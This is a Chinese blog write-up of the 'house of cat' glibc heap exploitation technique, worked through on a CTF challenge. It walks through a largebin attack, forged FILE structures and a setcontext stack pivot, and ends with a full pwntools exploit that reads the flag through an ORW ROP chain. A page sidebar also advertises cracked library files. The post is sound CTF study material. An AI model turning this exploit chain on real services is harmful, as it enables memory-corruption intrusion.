house of cat 浅析 结合例题

2027年新疆职业院校技能大赛“网络系统管理”A模块网络构建真题 2027年新疆职业院校技能大赛“网络系统管理”A模块——网络构建真题,仅供学习使用。 阅读详情

House of cat

[[HGAME 2023 week3]note_context | NSSCTF]

这里只用house of cat 来打,其他方法也可以

法一:FSOP触发

调用链:

__GI_exit --> __run_exit_handlers --> _IO_cleanup --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode
分析:

这个程序是保护全开,然后还过滤了execve和execveat这类函数,可以考虑ORW

image-20250610173105690

对于add函数只能申请大于0x4ff和小于0x900的chunk

image-20250610172536972

漏洞点:

image-20250610172736506

这里存在 UAF漏洞

利用过程:
泄露libc和heap:
	add(0,0x500)
	add(1,0x500)
	free(0)
	add(2,0x510)
	add(0,0x500)

	show(0)
	main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-1168
	libc_base = main_arena-0x1e3ba0
	io_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
	io_list_all = libc_base+libc.sym['_IO_list_all']
	setcontext = libc_base+libc.sym['setcontext']
	ret = libc_base+0x0000000000026699
	pop_rdi = libc_base+0x000000000002858f
	pop_rsi = libc_base+0x000000000002ac3f
	pop_rdx_r12 = libc_base+0x0000000000114161
	leak("libc_base",libc_base)
	edit(0,b"a"*16)
	show(0)
	heap_base = u64(io.recvuntil(b"\n")[-7:-1].ljust(8,b"\x00"))-0x290
	leak("heap_base",heap_base)

	add(3,0x500)
	add(4,0x500)

首先创建两个chunk,free掉chunk0后,chunk0进入unsortedbins ,然后申请一个0x510大小的chunk2,因为0x510大于0x500,导致chunk0进入largebins ,如下图:

image-20250610221122440

然后把largebin里面的chunk0申请回来,因为申请回来后chunk0中还是保留了main_arena+1168和heap的地址,泄露libc和heap地址

,之后再申请两个chunk为后续操作做准备。

first largebin attack:
	free(2)
	add(5,0x520)
	edit(2,p64(main_arena+1168)*2+p64(0)+p64(io_list_all-0x20))
	free(0)
	add(6,0x520)

利用largebin attack 在**_IO_list_all处写入一个堆地址,这里写入的堆地址是chunk0。(这里版本大于libc.2.31**,所以只能写入一个堆地址)

image-20250610222020316

构造fake IO_list_all:
	IO_wide_date_chunk = heap_base+0x16e0+0x10
	fake_io_file = p64(0)*2
	fake_io_file += p64(0)+p64(1)+p64(0)
	fake_io_file = fake_io_file.ljust(0xa0-0x10,b"\x00")
	fake_io_file += p64(IO_wide_date_chunk)
	fake_io_file = fake_io_file.ljust(0xc0-0x10,b"\x00")
	fake_io_file += p64(1)
	fake_io_file += p64(0)*2
	fake_io_file += p64(io_wfile_jumps+0x30)

	edit(0,fake_io_file)

这里编辑chunk0后伪造假的_IO_list_all。

image-20250610222342352

这里利用第二个判断进行FSOP,如果使用第一个判断后续我们无法控制rcx的值导致进入_IO_wfile_seekoff后mode为0.

e84f334978a948f68bf2b77e230f9ccd

d9651237d3f6a88296356fd7470ddd7b

利用第二个判断后,在进入到 IO_wfile_seekoff函数之前, 这里对rcx进行了赋值。用的是**(_IO_wide_data_2+24)即 _IO_wide_data_2中的 _IO_write_base字段的值,在这前面的部分都没有对rcx赋值,且在进入_IO_flush_all_lockp函数是rcx的值为0**。

这里把rcx赋值为1后,进入_IO_wfile_seekoff 后把mode赋值为一绕过mode==0的限制

0b75c388c794d0bc56d77049eaaa0d07

伪造 fake _wide_data:
	Stack_migration_chunk = heap_base+0x1bf0+0x10

	fake_wide_date = p64(0)*3
	fake_wide_date += p64(1)	#write_base
	fake_wide_date += p64(IO_wide_date_chunk)  #set rdx    write_ptr
	fake_wide_date = fake_wide_date.ljust(0xa0,b"\x00")
	fake_wide_date += p64(Stack_migration_chunk+0x20) #set rsp
	fake_wide_date += p64(ret)
	fake_wide_date = fake_wide_date.ljust(0xe0,b"\x00")
	fake_wide_date += p64(Stack_migration_chunk) #fake wide_vtable

	edit(4,fake_wide_date)

image-20250610233456516

这样构造的原因是:

在进入 _IO_wfile_seekoff 函数后 使得 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp) 成立 即可进入 _IO_switch_to_wget_mode 函数。

_IO_wfile_seekoff函数的源码如下:

off64_t
_IO_wfile_seekoff(FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;

  /* Short-circuit into a separate function.  We don't want to mix any
     functionality and we don't want to touch anything inside the FILE
     object. */
  if (mode == 0) // 要绕过这个判断 mode 不能为 0
    return do_ftell_wide(fp);

  /* POSIX.1 8.2.3.7 says that after a call the fflush() the file
     offset of the underlying file must be exact.  */
  int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));

  bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp)); // 给was_writing赋值

  /* Flush unwritten characters.
     (This may do an unneeded write if we seek within the buffer.
     But to be able to switch to reading, we would need to set
     egptr to pptr.  That can't be done in the current design,
     which assumes file_ptr() is eGptr.  Anyway, since we probably
     end up flushing when we close(), it doesn't make much difference.)
     FIXME: simulate mem-mapped files. */
  if (was_writing && _IO_switch_to_wget_mode(fp)) // was_writing为1时会调用_IO_switch_to_wget_mode函数,传入的第一个参数是当前的FILE
    return WEOF;


_IO_switch_to_wget_mode函数的源码如下:

函数在第一个判断条件成立后会调用_IO_WOVERFLOW函数,并传入当前FILE地址,所以rdi是fp的地址。仔细看,这里的判断条件和上上面 _IO_wfile_seekoff的判断条件是一样的。所以伪造IO_FILE是只用满足该条件即可

    int _IO_switch_to_wget_mode(FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW(fp, WEOF) == WEOF)   #主要看这里
      return EOF;
  if (_IO_in_backup(fp))
    fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
  else
  {
    fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;
    if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
      fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
  }
  fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;

  fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;

  fp->_flags &= ~_IO_CURRENTLY_PUTTING;
  return 0;
}

这里重点观察 _IO_switch_to_wget_mode 的汇编代码:

1ec01c149d480a430a055aa4113cea63

因为后面我们要打栈迁移 ,要用setcontext函数,而libc2.29以后setcontext函数由rdx来给各个寄存器传参

33e820d57a7b5e47c3570f7b6cbc3e80

为了栈迁移我们只需要控制 rsp即可,但是后面有个push rcx 我们还要把rcx设置为ret的地址。

所以综上的分析,我们把 :

  1. write_base 设置为 1 绕过mode==0的限制

  2. write_ptr 设置为 fp->_wide_data 一样的值,既能绕过 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 又能把 这个值赋值给 rdx

  3. 然后再 fp->_wide_data 0xa0偏移处设置 栈迁移的 rsp值 ,把栈迁移到我们想要的位置

  4. fp->_wide_data 0xa8 处放一个ret的地址 ,因为push rcx后会把rcx压入栈,这个值必须是ret

  5. fp->_wide_data 0xe0 处放要迁移的地址,并且这个地址+0x18处是 setcontext+61的地址

image-20250611000843605

ORW
	open_file_chunk_addr = heap_base+0x2120+0x10  #chunk 6
	edit(6,b"flag"+p32(0))
	ROP = flat(pop_rdi,open_file_chunk_addr,pop_rsi,0,libc.sym['open']+libc_base)
	ROP += flat(pop_rdi,3,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,libc_base+libc.sym['read'])
	ROP += flat(pop_rdi,1,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,libc_base+libc.sym['write'])
	payload = p64(0)*3+p64(setcontext+61)+ROP
	edit(5,payload)

	# gdb.attach(io,'b *_IO_wfile_seekoff')

	Exit()

这里向栈迁移处的地址内写入 我们的 payload。来打orw

image-20250611001342837

完整exp:
from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./vuln"
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.32.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} ---------------->>>:  {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

def add(idx,size):
	sla(b">",b"1")
	sla(b"Index: ",str(idx))
	sla(b"Size: ",str(size))

def free(idx):
	sla(b">",b"2")
	sla(b"Index: ",str(idx))


def edit(idx,data):
	sla(b">",b"3")
	sla(b"Index: ",str(idx))
	ru(b"Content: ")
	s(data)

def show(idx):
	sla(b">",b"4")
	sla(b"Index: ",str(idx))


def Exit():
	sla(b">",b"5")



def pwn():
	#==========leak 
	add(0,0x500)
	add(1,0x500)
	free(0)
	add(2,0x510)	
	add(0,0x500)

	show(0)
	main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-1168
	libc_base = main_arena-0x1e3ba0
	io_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
	io_list_all = libc_base+libc.sym['_IO_list_all']
	setcontext = libc_base+libc.sym['setcontext']
	ret = libc_base+0x0000000000026699
	pop_rdi = libc_base+0x000000000002858f
	pop_rsi = libc_base+0x000000000002ac3f
	pop_rdx_r12 = libc_base+0x0000000000114161
	leak("libc_base",libc_base)
	edit(0,b"a"*16)
	show(0)
	heap_base = u64(io.recvuntil(b"\n")[-7:-1].ljust(8,b"\x00"))-0x290
	leak("heap_base",heap_base)

	add(3,0x500)
	add(4,0x500)

	#======== largebin attack

	free(2)
	add(5,0x520)
	edit(2,p64(main_arena+1168)*2+p64(0)+p64(io_list_all-0x20))
	free(0)
	add(6,0x520)


	#======= fake IO_list_all
	IO_wide_date_chunk = heap_base+0x16e0+0x10
	fake_io_file = p64(0)*2
	fake_io_file += p64(0)+p64(1)+p64(0)
	fake_io_file = fake_io_file.ljust(0xa0-0x10,b"\x00")
	fake_io_file += p64(IO_wide_date_chunk)
	fake_io_file = fake_io_file.ljust(0xc0-0x10,b"\x00")
	fake_io_file += p64(1)
	fake_io_file += p64(0)*2
	fake_io_file += p64(io_wfile_jumps+0x30)

	edit(0,fake_io_file)

	#========fake _wide_data
	Stack_migration_chunk = heap_base+0x1bf0+0x10

	fake_wide_date = p64(0)*3
	fake_wide_date += p64(1)	#write_base
	fake_wide_date += p64(IO_wide_date_chunk)  #rdx
	fake_wide_date = fake_wide_date.ljust(0xa0,b"\x00")
	fake_wide_date += p64(Stack_migration_chunk+0x20) #set rsp
	fake_wide_date += p64(ret)
	fake_wide_date = fake_wide_date.ljust(0xe0,b"\x00")
	fake_wide_date += p64(Stack_migration_chunk) #fake wide_vtable

	edit(4,fake_wide_date)

	#========= ROP

	open_file_chunk_addr = heap_base+0x2120+0x10  #chunk 6
	edit(6,b"flag"+p32(0))
	ROP = flat(pop_rdi,open_file_chunk_addr,pop_rsi,0,libc.sym['open']+libc_base)
	ROP += flat(pop_rdi,3,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,libc_base+libc.sym['read'])
	ROP += flat(pop_rdi,1,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,libc_base+libc.sym['write'])
	payload = p64(0)*3+p64(setcontext+61)+ROP
	edit(5,payload)

	# gdb.attach(io,'b *_IO_wfile_seekoff')

	Exit()
	itr()



if __name__ == "__main__":
	while True:
		io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()


Vue - 详细完美解决 ElementUI MessageBox “多次“ 弹框问题,让其无论执行多少次都只弹出来一次(常见于请求拦截器多次触发弹框,导致弹出来很多个)详细示例代码,保证完美解决! vue如何防止ElementUIMessageBox多次弹框,vueelement弹框弹出来很多次怎么办,elementvueMessageBox解决执行多次后出现多次弹框的问题,elementUI如何阻止MessageBox多次弹出来,vue+element解决多个请求同时报错,弹出多个消息框message,饿了么组件库MessageBox弹框频繁弹出解决方法,vue调用MessageBox出现多次弹框,vueelementMessageBox怎么只弹出一次,vue之axios请求 阅读详情

相关推荐

硬件之光实战篇--Boost

当开关管处于关闭状态时,由于电感中的电流在短时间内不能瞬间消失,因此它会产生一个电感电动势,在电容器上加上一个高电压,从而使输出电压变高。--------------------------------------------------------分割线----------------------------------------------------------------在应用中,升压芯片需要根据负载电路的需求,选择合适的电感和电容等元器件,以达到所需要的升压倍数和输出电压。

m0_58664890的博客 2101

浅析house of cat(上)

原本以为只学习house of apple2就足以应对所有高版本了,但是还是被白名单制裁了,这里浅析一下house of cat以弥补apple2的缺陷。

2301_79327647的博客 1502

数字孪生在智慧医疗中的5个创新应用:从手术模拟到个性化治疗

数字孪生技术通过创建患者或医疗流程的动态虚拟映射,正在深刻变革智慧医疗。本文重点剖析了其在个性化治疗、手术模拟与导航、药物研发、医院管理优化及慢性病管理五大核心场景的创新应用,展现了如何利用智能映射与数据融合,为精准医疗和高效决策提供强大支持。

weixin_29189003的博客 443

浅析house of cat(中)

​ 这篇是浅析house of cat(上)-优快云博客的续写,主要想从源码调试的角度去讲解一下具体流程。 这里选择的例题是强网杯2022的houseofcat,这里我只是使用已经写好的脚本去调试,讲解一些上篇中没指出来,但需要我们绕过的地方。

2301_79327647的博客 914

Notion访问卡顿?一键优化DNS与Hosts提升加载速度

本文针对Notion访问卡顿问题,提供了两种核心优化方案:修改Hosts文件与配置DNS。详细解析了卡顿根源在于网络链路,并手把手指导用户在Windows、Mac、iOS及Android设备上实施优化,旨在通过替换为更优线路,显著提升Notion的页面加载与同步速度。

fff88的博客 1195

从零开始搭建Proxmox VE虚拟化网络:手把手教你配置桥接、VLAN和链路聚合

本文详细介绍了如何在Proxmox VE虚拟化环境中配置桥接、VLAN和链路聚合网络。通过分步指南和实战案例,帮助用户掌握Linux Bridge、VLAN隔离和Bonding技术,构建高性能、高可用的企业级虚拟化网络架构。

wind6的博客 976

浅析house of cat(下)

这篇是hosue of cat 系列的最后一篇,之后估计要停一段时间去学apple1,个人感觉学习的顺序应该是orange -> apple2 -> cat -> emma ->apple1但是实际上学到cat应该就可以通杀了。但是本着学习的态度,还是看看apple1。外一以后需要用上呢。

2301_79327647的博客 1308

Hugging Face 最新开源 SmolVLA 小模型入门教程(一)

今天,我们介绍SmolVLA,这是一个紧凑型(450M)、开源的视觉-语言-动作模型,专为机器人设计,可在消费级硬件上运行。 仅在带有lerobot标签的开源社区共享数据集上进行预训练。 SmolVLA-450M在模拟环境(LIBERO、Meta-World)和真实世界任务(SO100、SO101)中,表现优于规模更大的VLA模型及强基线模型如ACT。 支持异步推理,响应速度提升30%,任务吞吐量提升2倍。

2506_90492529的博客 4078

四路 CAN 转 4G 网关

SG‑CAN‑4G‑410 为**四路隔离 CAN 转 4G 工业网关**,把 CAN2.0A/B 报文封装成 TCP/UDP 报文,通过 4G 无线网络实现 CAN 总线远程监控、远程控制。四路 CAN 相互独立;以太网仅用于本地配置,不做业务数据传输;支持移动 / 联通 / 电信 4G 网络。

S2003120416的博客 160

链接文件及功能安全:基于Tasking的LSL链接文件知识点梳理及实际应用分析

本文旨在记录研究链接文件时所遇到的问题及个人理解,以便日后查阅。在探索过程中,我遇到了诸多问题,同时对链接文件有了初步的认识。通过记录这些问题与理解,我希望能够为后续的研究提供清晰的思路和有价值的参考。这不仅是对研究过程的总结,更是对未来学习和实践的有力支持。

梦想技术家 1103

AI Agent开发第85课-DeepSeek-OCR 安装全指南:从 Transformers 到 vLLM,手把手教你跑通企业级 OCR

本文系统讲解 DeepSeek-OCR 的两种部署方式——基于 Hugging Face Transformers 的标准推理与基于 vLLM 的高性能加速推理。详细说明 CUDA 与 PyTorch 版本匹配、环境验证、依赖安装等关键细节,并提供可直接运行的完整代码示例。无论你是单卡调试还是高并发服务部署,都能在这里找到清晰路径。

打造全国最全的AI Agent开发知识领域的博客 2542

汽车电子标定与测量的核心基石XCP协议

控制逻辑(算法)与标定参数(数据)。如果每次优化参数都要修改源码、重新编译并刷写Flash,整个研发周期的效率将趋近于零。标定(Calibration)技术正是为了解决这一痛点而生。它允许工程师在ECU运行过程中,动态观察内部变量(测量,Measurement),并在不中断运行的前提下实时修改控制变量(标定,Calibration)。在这一领域,XCP(Universal Measurement and Calibration Protocol,通用测量与标定协议)是公认的行业标准与核心基石。

diansandaosilaodanan的博客 376

LeRobot 入门教程(十一)π0(Pi0)π0.5(Pi0.5)训练、推理、部署

本文介绍了Physical Intelligence公司开发的π₀和π₀.₅系列通用机器人控制视觉-语言-动作模型。π₀作为首款基础模型,融合流匹配、跨实体训练等技术,支持50Hz高频控制。π₀.₅是其升级版,通过异构数据协同训练解决开放世界泛化问题,在Libero基准测试中表现优异。文章详细说明了两个模型的安装要求、使用方法、训练策略及关键参数配置,包括混合精度训练、梯度检查点等优化技术,为机器人在多样化场景中的语义理解和动作控制提供了完整解决方案。

2506_90492529的博客 5036

【计算机网络】断点续传是怎么做到的:从 Range 请求到分片上传的完整机制

断点续传在下载侧靠的是 HTTP 现成的 Range 协议,Content-Range 保证偏移对得上,If-Range 防止文件变更导致的错误拼接;上传侧没有标准,需要自己设计 init/part/complete 三段式交互,核心是让服务端记住“哪些块已经收下”,从而把失败粒度从整个文件降到单个分片。 这套机制可以迁移到任何长耗时操作的设计上。判断方法很简单:先问失败粒度是多少。如果一次操作失败就得从头再来,那它迟早会在生产环境里出问题——传输、批量导入、数据迁移、长事务,都是同一个道理。把大操作切成

2503_94545876的博客 516

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Linux 服务器性能排查手册(2026):CPU、内存、磁盘IO、网络四大瓶颈定位

iptables 四表五链模型、firewalld zone 信任级别、云安全组与主机防火墙的关系与优先级,避坑改了防火墙把自己挡在服务器外面的翻车事故。

2502_91473995的博客 297

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

【Linux网络】TCP 服务器并发处理多客户端:从 fork 分发到双重 fork 彻底消灭僵尸进程

拆解 TCP 服务器并发演进链:fork 分发连接、SIGCHLD 循环回收僵尸、双重 fork 交孙进程给 init 收养,并给出模型选型与线上排错对照。

2301_78967866的博客 416

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

SD-WAN 与传统企业组网方式有什么区别?六个维度分析技术差异与适用场景

SD-WAN 与传统组网区别,主要体现在网络管理模式、链路调度能力、可视化水平以及多站点扩展方式上。传统组网技术成熟、架构灵活,对于站点较少、业务简单、网络结构稳定的企业来说,仍然具有较高的实用价值。SD-WAN 则通过软件定义和集中化管理,为多站点网络管理、链路质量监测和业务流量调度提供了另一种技术实现方式。两者并不存在绝对的替代关系。在实际网络建设中,也可以根据不同业务和网络区域采用混合架构。

ESDWAN的博客 791

网口ps端--基础知识--调试(1)--deepseek

你现在卡住,是因为这每一层(硬件、驱动、lwIP 协议、IP 地址)中,只要有一层不对,网口就不通。物理层:看灯。灯亮说明线没问题,PHY 没死。MAC 驱动层:看串口打印。有没有打印出Link Speed?如果卡在自协商,说明你的 PHY 驱动还没配好。lwIP 协议层:如果底层通了,IP 也配对了,你调用udp_recv注册了回调函数,当电脑发来 UDP 包时,lwIP 会自动把数据包拆开,送到你的回调函数里。你之前一直在改,就是一直在死磕第 1 层和第 2 层。

AlibabaApple的博客 97

台湾行情数据API接入教程

想用程序获取台股行情,很多人第一步会搜“台股资料 API 推荐”,结果发现选择不少:证交所有免费接口,Yahoo Finance 也能查,券商还有自己的 API。真正写代码时才发现,有的数据只到收盘,有的延迟 20 分钟,有的必须先开户。本文先梳理台湾行情数据的几种获取渠道,再用 Python 从零搭一个可以运行的台股数据脚本:查代码清单、取实时报价和盘口、拉历史K线、做复权、用 WebSocket 接收实时推送,最后结合台积电 ADR 和新台币汇率计算跨市场溢价。

qq_34102871的博客 276

从母钟到子钟:NTP 网络时钟系统架构与软件接口

本文从工程角度简要介绍公共场所的时间同步需求、NTP协议的定位,以及典型LED同步时钟的系统架构与硬件设计,以讯鹏科技4寸与5寸同步时钟为例。

SPZHCS的博客 117

DPVS 报文黑匣子与 Crash 自动拉黑:给转发面装上“飞行记录仪“

谁打挂了我(crash dump)、他之前发了什么(慢路径环)、他还会再来(入口拉黑)。设计上我们始终坚持两条原则:记录与决策分离(黑匣子永远只说不做),以及误伤成本优先于漏放成本(三道闸门全部通过才拉黑,expire 到期自动解封)。性能上,全量快路径摘要 + 入口查表的综合开销低于 1.3%,在 FIP 网关的流量水位下不可感知。飞行记录仪的价值不在于飞机正常飞行的时候,而在于它让每一次事故都变成一次改进。对转发面来说,同样如此。

zyun360的博客 196

HTTP、SSE、WebSocket、Socket.IO:实时通信方案深度对比与选型指南

HTTP 是基础,是整个 Web 的底座;SSE 是单向推送的轻量最优解;WebSocket 是高性能双向实时通信的底层标准;Socket.IO 是一套降低开发门槛、抹平环境差异的上层框架。技术选型永远不是“哪个技术更酷”,而是匹配业务的实时性、交互方向、网络环境、团队维护成本。简单需求优先轻方案,复杂双向实时再上 WebSocket;如果追求快速落地、兼容各种奇葩网络,Socket.IO 是很好的选择。

changshuaihua001的博客 336

计算机毕业论文系统测试怎么写:从测试用例设计到对比实验,让“工作量“看得见

本文系统阐述计算机毕业论文中“系统测试”章节的撰写方法,涵盖功能测试用例设计(等价类、边界值、判定表)、性能测试压测方案与关键指标(平均响应时间、P99、吞吐量)、对比实验设计原则及评价指标选取。强调通过量化数据、阶梯加压曲线、瓶颈定位与多维度对比,真实展现研究工作量与技术深度,提供可直接套用的测试用例表与实验方案模板,助力论文脱颖而出。

wuwangzhiduoshao的博客 299

Linux网络编程:TCP多线程远程命令执行与线程池改造

前面已经实现了 TCP Echo Server,并且通过多进程和多线程解决了多个客户端连接的问题。不过目前服务器的业务还是比较简单,客户端发送什么,服务器就返回什么。这次在原来的多线程服务器上继续做一些改动,实现一个简单的远程命令执行功能。这次主要学习了两个内容。第一个是多线程远程命令执行。通过 Command 类封装命令的接收、检查、执行和结果返回,并使用 set 对允许执行的命令进行限制。第二个是线程池版本的 TCP Echo Server。通过和std::bind。

2501_93388101的博客 358

23 网络性能与 QoS:带宽、时延、吞吐计算与保障机制

带宽是上限、不是实际速度;时延由传输、传播、处理、排队四段组成。一道题让你算端到端时延和吞吐,关键是先找到瓶颈在哪一跳。QoS 靠分类、标记、队列、调度四步保障,配一张瓶颈定位+容量规划图,再跟 3 道真题。

weixin_46316564的博客 45

python如何编通讯程序

通讯程序需要处理IP地址和端口。IP地址用于标识网络上的设备,端口用于标识设备上的服务。编写通讯程序时,需要选择合适的端口号并确保它不与其他服务冲突。此外

2601_96798011的博客 176
上一篇: ISCC 2025决赛 wp
下一篇: house of apple2
saulgoodman-q
博客等级 码龄6年 828粉丝 52原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值